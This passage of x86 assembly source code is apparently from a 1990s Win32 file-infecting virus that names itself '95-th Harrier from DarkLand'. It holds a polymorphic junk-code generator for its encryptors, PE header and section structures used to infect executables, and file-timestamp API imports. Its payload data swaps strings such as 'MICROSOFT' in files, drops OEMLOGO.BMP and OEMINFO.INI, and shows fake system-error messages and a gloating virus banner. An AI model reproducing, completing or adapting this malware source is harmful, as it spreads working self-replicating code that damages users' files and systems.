		Jnz	GenNoFlag_5_2$
GenNoFlag_5_1$:	Pop	ECx
		Pop	EAx
		Or	Al,8h
		StosB
		Ret

GenNoFlag_6$:	Dec	EAx
		Jnz	GenNoFlag_7$		; ">6"
		Mov	Al,10h			; Jcc $+2
		Call	Random
		Or	Al,70h
		StosB
		Xor	Al,Al
		StosB
		Ret

GenNoFlag_7$:	Dec	EAx
		Jnz	GenNoFlag_8$		; ">7"
		Mov	Al,0EBh			; Jmps $+?
		StosB
		Mov	Al,20h			; Jmp distance. . .
		Call	Random
		StosB
		Push	ECx
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenNoFlag_7_1$
GenNoFlag_7_2$:	Mov	EAx,100h
		Call	Random
		StosB
		Dec	ECx
		Jnz	GenNoFlag_7_2$
GenNoFlag_7_1$:	Pop	ECx
		Ret

GenNoFlag_8$:	Dec	EAx
		Jnz	GenNoFlag_9$		; ">8"
		Mov	Al,60h			; PushA / PopA
		StosB
		Push	ECx			; Some seria of commands
		Mov	EAx,5h			; How many. . .
		Call	Random
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenNoFlag_8_1$
GenNoFlag_8_2$:	Call	GenNoFlagCom
		Dec	ECx
		Jnz	GenNoFlag_8_2$
GenNoFlag_8_1$:	Pop	ECx
		Mov	Al,61h
		StosB
		Ret

GenNoFlag_9$:	Mov	Al,9Ch			; PushF / PopF
		StosB
		Push	ECx			; Some seria of commands
		Mov	EAx,5h			; How many. . .
		Call	Random
		Mov	ECx,EAx
		Or	ECx,ECx
		Jz	GenNoFlag_9_1$
GenNoFlag_9_2$:	Call	GenNoFlagCom
		Dec	ECx
		Jnz	GenNoFlag_9_2$
GenNoFlag_9_1$:	Pop	ECx
		Mov	Al,9Dh
		StosB
		Ret

; ---------------------------------------------------------
GetNoEqRegs0:	Call	GetNoESpReg		; Get Registers Mod R/M
		Push	EBx			; byte with any NoEq
		Mov	Bl,Al			; registers inside
		Call	GetNoESpReg		; this pack (without ESp)
		Shl	Al,3h
		Or	Al,Bl
		Or	Al,0C0h
		Pop	EBx
		Ret

GetNoEqRegs:	Call	GetReg			; Get Registers Mod R/M
		Push	EBx			; byte with any NoEq
		Mov	Bl,Al			; registers inside
		Call	GetReg			; this pack
		Shl	Al,3h
		Or	Al,Bl
		Or	Al,0C0h
		Pop	EBx
		Ret

GetEqRegs:	Call	GetReg			; Get Registers Mod R/M
		Mov	Ah,Al			; byte with any Eq registers
		Shl	Al,3h			; inside this pack
		Or	Al,Ah
		Or	Al,0C0h
		Ret

GetNoESpReg:	Call	GetReg			; Get register number
		Cmp	Al,4h			; but without ESP
		Je	GetNoESPReg
		Ret

GetReg:		Mov	EAx,8h			; Get register number
		Call	Random
		Ret

; ---------------------------------------------------------
Enumer:		Push	EAx			; Enumerates the some
		Push	ECx			; procedure in EBx
		Mov	EAx,ECx			; ECx times with
		Call	Random			; parameters in EAx
		Or	ECx,ECx
		Jz	Enumer_0$
Enumer_1$:	Mov	EAx,[ESp][4]
		Call	EBx
		Dec	ECx
		Jnz	Enumer_1$
Enumer_0$:	Pop	ECx
		Pop	EAx
		Ret

; ---------------------------------------------------------
StoreByte:	Cmp	Byte Ptr pEnableEncr,0h	; Stores the Byte data
		Je	StoreByte_0$		; into encryptor buffer
		Mov	[ESi],Al
		Inc	ESi
StoreByte_0$:	Ret

StoreWord:	Cmp	Byte Ptr pEnableEncr,0h	; Stores the Word data
		Je	StoreWord_0$		; into encryptor buffer
		Mov	[ESi],Ax
		Add	ESi,2h
StoreWord_0$:	Ret

StoreDWord:	Cmp	Byte Ptr pEnableEncr,0h	; Stores the DWord data
		Je	StoreDWord_0$		; into encryptor buffer
		Mov	[ESi],EAx
		Add	ESi,4h
StoreDWord_0$:	Ret

; ---------------------------------------------------------
Random:		Push	EDx			; Generate some random number
		Push	ECx			; to EAx by border in EAx
		Push	EAx			; (0..Border-1)
		Mov	EAx,RandSeed		; Don't corrupt registers
		Mov	ECx,8088405h		; [from TurboPascal v7.0]
		Mul	ECx			; (Based on Congruent
		Inc	EAx			; generating algorythm)
		Mov	RandSeed,EAx
		Pop	ECx
		Mul	ECx
		Pop	ECx
		Mov	EAx,EDx
		Pop	EDx
		Ret

;Separator=_Nop
; ---------------------------------------------------------
; Data for convertor
;DefCodeLine
ConvertDataLen	=	4h
ConvertData	Label	DWord
		Dd	Offset SearchStr1
		Dd	Offset ReplaceStr1

		Dd	Offset SearchStr2
		Dd	Offset ReplaceStr2

		Dd	Offset SearchStr3
		Dd	Offset ReplaceStr3

		Dd	Offset SearchStr4
		Dd	Offset ReplaceStr4
;BreakCodeLine

SearchStr1	Db	'MICROSOFT',0
SearchStr2	Db	'WINDOWS',0
SearchStr3	Db	'BILL GATES',0
SearchStr4	Db	'HARRIER',0

ReplaceStr1	Db	'MIcrOSOFT',0
ReplaceStr2	Db	'WINDOwS',0
ReplaceStr3	Db	'Gill Bates',0
ReplaceStr4	Db	'Oh! Guys! Is it about me?',0

; ---------------------------------------------------------
;DefCodeLine
InfoName	Db	'OEMINFO.INI',0h
InfoNameL	=	$-InfoName
;BreakCodeLine
;DefCodeLine
BitMapName	Db	'OEMLOGO.BMP',0h
BitMapNameL	=	$-BitMapName
;BreakCodeLine

SelfSectionName	Db	'.TEXT',0,0,0

InfSelfHeader	Db	'"95-th Harrier from DarkLand"',0
InfEnterDebug	Db	'Entering to DEBUG mode.',0
InfCancelMsg	Db	'Infecting aborted by Creator!',0
InfNoNameMsg	Db	'Name not specified.',0

;DefCodeLine
HelloMsg	Label	Byte
Db 'Oops, World, it is Me!',Cr
Db 'Can You image it? I am the Win32 platform based virus!',Cr
Db 'Hey, Daniloff! Will You porte Your DrWeb at this platform?',Cr
Db 'Hmm, Guy, what You think about Watcom C++ ?',Cr
Db Cr
Db 'Greetings goes to Gill Bates and to her Mircosoft Windoze 95 sucks,',Cr
Db '           and to rest lame part of world.',Cr
Db Cr
Db 'Ugly Lamers MUST DIE!',Cr
Db Cr
Db 'Who am I ?   I am the "95-th Harrier from DarkLand" !!!',Cr
Db 'I come from dark, I invade Your PC and now I will invade Your mind. . .',Cr
Db Cr
Db '                                                              TechnoRat',Cr
Db Cr
Db Ver,Release,BasedOn,Cr
Db 0
;BreakCodeLine

InfGodHelp	Db	'God will help! ;-)',0

; ---------------------------------------------------------
;DefCodeLine
FuckMsgCounter	=	6h
FuckMessages	Label	DWord
		Dd	FuckMsg1,FuckMsg2,FuckMsg3,FuckMsg4,FuckMsg5,FuckMsg6
;BreakCodeLine

FuckMsg1	Db	'System malfunction!',0
FuckMsg2	Db	'VXDs rings overcrossed!',0
FuckMsg3	Db	'CPU mode thunking error!',0
FuckMsg4	Db	'CPU overclocked, cooler device emergency!',0
FuckMsg5	Db	'Help subsystem is damaged!',0
FuckMsg6	Db	'Attention! Bugs inside computer, use SoftIce.',0

; ---------------------------------------------------------
; Here will be placed the very nice files. . .
		BFile	BitMapFile,HarrLogo.Bmp,HarrBtMpFile_Sz
		BFile	InfoFile,HarrInfo.Ini,HarrInfoFile_Sz

MemBase		Dd	?			; Program base in memory
HostIP		Dd	?			; for returning to host
Here		Dd	?			; self place in RAM
Debug		Dd	0h			; debugging flag
HelpCounter	Dd	0h			; for FuckingHelp ;-)
InitOk		Dd	1h			; Initialize semaphore:
						; 0 - process performing
						; 1 - must be initialized
						; 2 - initialized Ok.

; ---------------------------------------------------------
; Real copyright by creator.
;DefCodeLine
		Irpc	Char,<(C)reated by TechnoRat (hacker)>
		Db	'&Char' Xor 0FFh
		EndM
;BreakCodeLine

; ---------------------------------------------------------
RandSeed	Dd	?
StubEntryLabel	Dd	?
ImagePlace	Dd	?
CurrentPlace	Dd	?
PolyMorphSz	Dd	0h			; The size of decriptors
StubImportPlace	Dd	?
ImportPlace	Dd	?
ImportLength	Dd	?
BufferPlace	Dd	?

; ---------------------------------------------------------
; The Virtual stack variables
		Var	DosHeader	,40h	; Dos Header place
		Var	FileHandle	,DWord	; Generic file variables
		Var	FileAttributes	,DWord
		Var	FileNamePtr	,DWord
		Var	FileLastWrite	,8h	; Generic file Date/Time
		Var	FileLastAccess	,8h
		Var	FileCreation	,8h
		Var	ProcessedBytes	,DWord
		Var	NewSeconds	,Word
		Var	PackedTime	,8h
		Var	SomePath	,MaxPathLen

		Var	PEFileHeaders	,DWord

		Var	ImportLegal	,DWord	; Import section parameters
		Var	ImportPhysOffs	,DWord
		Var	ImportRVA	,DWord
		Var	ImportFlags	,DWord
		Var	ImportOrder	,DWord

;DefCodeLine
		Var	FT_Struc	,0h	; System Time description
		Var	FT_Year		,Word
		Var	FT_Month	,Word
		Var	FT_DayOfWeek	,Word
		Var	FT_Day		,Word
		Var	FT_Hour		,Word
		Var	FT_Minute	,Word
		Var	FT_Second	,Word
		Var	FT_Milliseconds	,Word
;BreakCodeLine

		Var	pBaseReg	,Byte	; PolyMorph gen. vars
		Var	pSemReg		,Byte
		Var	pEnableEncr	,Byte
		Var	pBase		,DWord
		Var	pSem		,DWord
		Var	pXchg		,DWord
		Var	pMov		,DWord
		Var	pBaseAdd	,DWord
		Var	pBaseSub	,DWord
		Var	pAgain		,DWord
		Var	pAgain_E	,DWord
		Var	pAdd		,DWord

		Var	GenSz		,DWord	; PolyMorph link vars
		Var	GenCrSz		,DWord
		Var	GenTotalSz	,DWord
		Var	Cryptors	,2*4*16
		Var	CryptCnt	,DWord

;DefCodeLine
		Var	Section		,0h
SectBegin	=	_VarAddr		; Section header description
		Var	SectName	,8h
		Var	SectVirtSize	,DWord
		Var	SectRVA		,DWord
		Var	SectPhysSize	,DWord
		Var	SectPhysOffs	,DWord
		Var	SectR		,3*4h
		Var	SectFlags	,DWord
SectSize	=	_VarAddr-SectBegin
;BreakCodeLine

;DefCodeLine
		Var	SelfSection	,0h
SelfSectBegin	=	_VarAddr		; Self section description
		Var	SelfSectName	,8h
		Var	SelfSectVirtSize,DWord
		Var	SelfSectRVA	,DWord
		Var	SelfSectPhysSize,DWord
		Var	SelfSectPhysOffs,DWord
		Var	SelfSectR	,3*4h
		Var	SelfSectFlags	,DWord
SelfSectSize	=	_VarAddr-SelfSectBegin
;BreakCodeLine

;DefCodeLine
		Var	PEHeader	,0h
PEHeaderBegin	=	_VarAddr		; PE Header description
		Var	PE_Sign		,DWord
		Var	PE_CPUType	,Word
		Var	PE_NumOfSections,Word
		Var	PE_TimeDate	,DWord
		Var	PE_PtrToCOFFTbl	,DWord
		Var	PE_COFFTblSize	,DWord
		Var	PE_NTHdrSize	,Word
		Var	PE_Flags	,Word
		Var	PE_Magic	,Word
		Var	PE_LMajor	,Byte
		Var	PE_LMinor	,Byte
		Var	PE_SizeOfCode	,DWord
		Var	PE_SizeOfIData	,DWord
		Var	PE_SizeOfUIData	,DWord
		Var	PE_EntryPointRVA,DWord
		Var	PE_BaseOfCode	,DWord
		Var	PE_BaseOfData	,DWord
		Var	PE_ImageBase	,DWord
		Var	PE_ObjectAlign	,DWord
		Var	PE_FileAlign	,DWord
		Var	PE_OsMajor	,Word
		Var	PE_OsMinor	,Word
		Var	PE_UserMajor	,Word
		Var	PE_UserMinor	,Word
		Var	PE_SubSysMajor	,Word
		Var	PE_SubSysMinor	,Word
		Var	PE_R1		,DWord
		Var	PE_ImageSize	,DWord
		Var	PE_HeaderSize	,DWord
		Var	PE_FileChkSum	,DWord
		Var	PE_SubSystem	,Word
		Var	PE_DllFlags	,Word
		Var	PE_StackReserveSz,DWord
		Var	PE_StackCommitSz,DWord
		Var	PE_HeapReserveSz,DWord
		Var	PE_HeapCommitSz	,DWord
		Var	PE_LoaderFlags	,DWord
		Var	PE_NumOfRVAAndSz,DWord
		Var	PE_ExportTableRVA,DWord
		Var	PE_ExportDataSz	,DWord
		Var	PE_ImportTableRVA,DWord
		Var	PE_ImportDataSz	,DWord
		Var	PE_RsrcTableRVA	,DWord
		Var	PE_RsrcDataSz	,DWord
		Var	PE_ExceptTableRVA,DWord
		Var	PE_ExceptDataSz	,DWord
		Var	PE_SecurTableRVA,DWord
		Var	PE_SecurDataSz	,DWord
		Var	PE_FixUpTableRVA,DWord
		Var	PE_FixUpDataSz	,DWord
		Var	PE_DebugTableRVA,DWord
		Var	PE_DebugDataSz	,DWord
		Var	PE_ImageDescrRVA,DWord
		Var	PE_DescriptionSz,DWord
		Var	PE_MachineSpecRVA,DWord
		Var	PE_MachineSpecSz,DWord
		Var	PE_TLSRVA	,DWord
		Var	PE_TLSSz	,DWord
		Var	PE_R0		,30h
PEHeaderSize	=	_VarAddr-PEHeaderBegin

		If	PEHeaderSize NE 0F8h
		.Err	'PEHeader described incorrectly!'
		EndIf
;BreakCodeLine
;StopCode
		Var	VeryLargeBuffer	,0h	; Rest of memory ;-)

; ---------------------------------------------------------
_VarAddr	=	0h
		Var	ConvertVar	,4*4	; Tiny Stack variables
		Var	SmallBuffer	,0h	; (memory buffer)

; ---------------------------------------------------------
;StartData
		Extern	MessageBoxA:Proc	; External functions
		Extern	CreateFileA:Proc	; which imported
		Extern	SetFilePointer:Proc	; form some system
		Extern	CloseHandle:Proc	; DLL's (providers
		Extern	ReadFile:Proc		; of this functions)
		Extern	WriteFile:Proc
		Extern	SetFilePointer:Proc
		Extern	GetFileAttributesA:Proc
		Extern	SetFileAttributesA:Proc
		Extern	GetFileTime:Proc
		Extern	SetFileTime:Proc
		Extern	CopyFileA:Proc
		Extern	MoveFileA:Proc
		Extern	GetEnvironmentStringsA:Proc
		Extern	MessageBeep:Proc
		Extern	FileTimeToSystemTime:Proc
		Extern	SystemTimeToFileTime:Proc
		Extern	GetSystemTime:Proc
		Extern	GetSystemDirectoryA:Proc
;StopData

; ---------------------------------------------------------
		End	Start

; *==================================================================*
; !                     T I M E   T O   D I E                        !
; *==================================================================*